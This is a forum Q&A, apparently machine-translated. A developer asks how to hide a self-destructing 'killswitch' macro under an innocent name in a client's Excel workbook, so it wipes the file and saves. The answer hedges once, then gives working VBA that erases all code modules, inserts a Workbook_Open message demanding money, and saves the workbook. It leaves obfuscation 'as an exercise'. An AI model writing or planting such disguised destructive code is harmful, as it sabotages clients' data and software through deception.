Excel VBA Self-Destruct Switch

I had my first experience "Client-taken-my-work-and-then-ghostly without me." In the future, I want to put killswitch disguised as a regular macro, which makes everything unusable. That way, even if they hire someone to crack the password and remove my “Your trial period ...” check, a regular macro (something like “Fix_Sheet_Formatting”) will be easy to overlook and run, destroying everything and saving changes.

However, this leaves VBA ... We are talking about a complete cleanup here, so everything should go. I’ll figure out how to do it all on my own, I just don’t want to waste time on what is impossible:

Can VBA code delete from a workbook at work or should it be deleted from a macro in another workbook ? And deleting the code so that the macro stops working, or can I delete it, except for the unpleasant MsgBox after everything is done?

+4
source share
1 answer

I will leave comments to discuss whether this is a good idea (IMHO this is probably not). As for the question itself, of course, this is possible and will not interrupt the execution of macros:

Public Sub Example()
    Dim proj As Object
    Set proj = ThisWorkbook.VBProject
    Dim comp As Object
    For Each comp In proj.VBComponents
        With comp.CodeModule
            .DeleteLines 1, .CountOfLines
            If comp.Name = "ThisWorkbook" Then
                .InsertLines 1, "Private Sub Workbook_Open()" & vbCrLf & _
                                vbTab & "MsgBox ""Where my money, @#$%&!?""" & vbCrLf & _
                                "End Sub"
            End If
        End With
    Next
    ThisWorkbook.Save
End Sub

Obfuscation is an exercise for the reader.

+5
source

Source: https://habr.com/ru/post/1663676/


All Articles